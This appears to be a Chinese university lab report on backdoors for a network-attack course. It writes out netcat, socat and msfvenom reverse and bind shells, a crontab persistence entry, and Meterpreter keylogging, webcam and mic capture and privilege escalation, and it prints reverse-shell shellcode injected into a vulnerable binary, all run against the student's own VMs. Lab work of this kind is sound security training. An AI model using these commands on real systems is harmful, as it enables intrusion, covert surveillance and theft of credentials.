2020-2021-2 网络对抗技术 20181321 Exp2 后门原理与实践
2020-2021-2 网络对抗技术 20181321 Exp2 后门原理与实践
一、基础问题回答
-
(1)例举你能想到的一个后门进入到你系统中的可能方式?
答:在一些不正规网站的下载东西(或者破解版软件),虽然破解版软件能够正常使用,但根据对齐粒度,攻击者可以把后门陈程序写作一些00的代码区。
-
(2)例举你知道的后门如何启动起来(win及linux)的方式?
答:自启动项,,运行注入shellcode程序,通过crontab。
-
(3)Meterpreter有哪些给你映像深刻的功能?
答:可以截屏,以及可以通过指令来截取你的敲击过程,从而套取密码。控制摄像头,进行录像。进行录音
-
(4)如何发现自己有系统有没有被安装后门?
答案:可以杀毒软件,查看端口运行情况。
二、常用的后门工具
netcat
WIndows获得Linux Shell
-
在Windows下使用
ipconfig
查看本机IP 172.30.7.239 -
在Window输入命令
ncat.exe -l -p 8181
进行监听 -
在在kali中反弹连接Windows,
ncat 172.30.7.239 8181 -e /bin/sh
,使用-e选项执行shell程序 -
Windows获得Kali的shell
Linux获得Windows Shell
-
在kali下使用
ifconfig
查看本机IP 192.168.231.133 -
在kali输入命令
ncat.exe -l -p 8181
进行监听 -
在在Windows中反弹连接Windows,
ncat.exe 192.168.231.133 8181 -e /bin/sh
,使用-e选项执行shell程序 -
kali获得Windows的shell
使用nc,Windows和Kali互相传输数据
-
Windows下监听
8181端口,
ncat.exe -l 8181` -
kali反弹连接到Windows的
5318
端口,nc 192.168.231.134 8181
-
连接建立成功,双方可以相互传输数据
Meterpreter
- 后门就是一个程序。
- 传统的理解是:有人编写一个后门程序,大家拿来用。后来有人编写一个平台能生成后门程序。这个平台把后门的
- 基本功能(基本的连接、执行指令),
- 扩展功能(如搜集用户信息、安装服务等功能),
- 编码模式,
- 运行平台,
- 以及运行参数
- 全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。
- 典型的平台就包括有:
- intersect
- Metaspolit的msfvenom指令
- Veil-evasion
在下面的实验三中我们就用到了Metaspolit的msfvenom指令
- 参数说明
- -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
- -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
- -e 使用的编码器,用于对shellcode变形,为了免杀。
- -i 编码器的迭代次数。如上即使用该编码器编码5次。
- -b badchar是payload中需要去除的字符。
- LHOST 是反弹回连的IP
- LPORT 是回连的端口
- -f 生成文件的类型
>
输出到哪个文件
三、实验内容
-
(1)使用netcat获取主机操作Shell,cron启动 (0.5分)
-
(2)使用socat获取主机操作Shell, 任务计划启动 (0.5分)
-
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)
-
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (0.5分)
-
(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)
(后面实验使用的为window 7的虚拟机)
实验一:使用netcat获取主机操作Shell,cron启动
-
Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。
-
在Windows系统下,监听
8181
端口 -
在kali中,运行
crontab -e
指令编辑一条定时任务,(crontab指令增加一条定时任务,"-e"表示编辑)选择编辑器时选择2(看个人选择) -
在最后一行添加
26 * * * * /bin/netcat 192.168.231.144 -e /bin/sh
,意思是在每个小时的第26分钟反向连接Windows主机的8181端口,设置成6的原因是我的时间是21点04分,所以为了出现效果,所以设置为6
实验二:使用socat获取主机操作Shell, 任务计划启动
-
socat是ncat的增强版,它使用的格式是
socat [options] <address> <address>
,其中两个address
是必选项,而options
是可选项。基本功能就是建立两个双向的字节流,数据就在其间传输,参数address
就是代表了其中的一个方向。 -
打开win7的>计算机管理,点击>任务计划程序,点击>创建任务
-
填写任务名>新建一个触发器,开始任务选为工作站锁定时。(建议可以选其他的,用虚拟机启动锁定时,主机也会锁定)
-
在编辑操作,选择启动程序,然后选取你
socat.exe
文件的地址,在添加参数的地方编辑为tcp-listen:8181 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe
绑定到端口8181
,同时把cmd.exe
的stderr
重定向到stdout
上了。 -
创建完成之后,按Windows+L快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行。
-
在Kali环境下输入指令
socat - tcp:192.168.231.134:8181
,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的8181
端口,此时可以发现已经成功获得了一个cmd shell。
实验三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 在Kali上执行指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.231.133 LPORT=8181 -f exe > 20181321_backdoor.exe
这里的IP地址为liunx的IP地址,所以已经生成后门程序。
-
在Windows下执行
ncat.exe -l 8181 > 20181321_backdoor.exe
. -
在在Linux中执行
nc 192.168.231.134 8181 < 20181321_backdoor.exe
-
传输后门程序成功。(在window 7上看见后门程序)
-
在Kali上使用msfconsole指令进入msf控制台
-
输入
use exploit/multi/handler
使用监听模块,设置payload -
输入
set payload windows/meterpreter/reverse_tcp
,使用和生成后门程序时相同的payload -
输入
set LHOST 192.168.231.133
,这里用的是LinuxIP,和生成后门程序时指定的IP相同 -
输入
set LPORT 8181
,同样要使用相同的端口 -
设置完成后,执行监听,输入
exploit
。 -
在window 7 运行后门程序
-
这个时候,kali与window 7连接,并获得shell
任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
-
输入
record_mic
指令可以截获一段音频,可以用-d
选项设置录制时间。 -
输入
webcam_snap
指令可以使用摄像头进行拍照。(win 7虚拟机没有摄像头) -
输入
keyscan_start
指令开始记录下击键的过程,使用keyscan_dump
指令读取击键的记录。 -
输入
screenshot
指令可以进行截屏。 -
输入
getuid
指令查看当前用户,再输入getsystem
指令进行提权(如果要进行提权,需要给你的后门程序进行提取,我是把后门程序命名为installdoor.exe,运行程序是,要求点击确认才能运行,也可以通过别的方式给后面程序的权限提高)。
实验五可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
-
下载shellcode的代码
-
然后参考实验一找到shell code的起始地址(注意要关闭地址随机化) 并加在这段shellcode前面,并用其生成in3文件。
perl -e 'print "A" x 32;print"\x80\xd5\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > in3
-
然后在另一个终端中打开msfconsole,并打开监听.
use exploit/multi/handler set payload linux/x86/shell_reverse_tcp set LHOST 127.0.0.1 set LPORT 4444 //这两个都是根据你的shellcode来的 show options exploit
-
在终端上运行
(cat in3 ;cat) | ./pwn3
并回车 -
运行成功
四、实验总结与体会
- 这次实验,刚刚开始是很蒙的,很多地方都不明白原理,在课上直接做的时候,出现了很多问题。然后课下看视频,把原理搞明白了之后,再做实验就顺利许多了,而且用MSF生成后门程序,然后控制win 7虚拟机,很有新鲜感,截图,录音等操作,都说明了后门程序的不安全,但是是真的很好玩。在实验中,碰到最不爽的情况就是“由于目标计算机积极拒绝,无法连接”这个地方真的很难受。这说明主机的保护还是很好的,我的操作只能在吧防火墙全关了,杀毒软件关了才能运行,只是掌握基础的,水平还是很菜。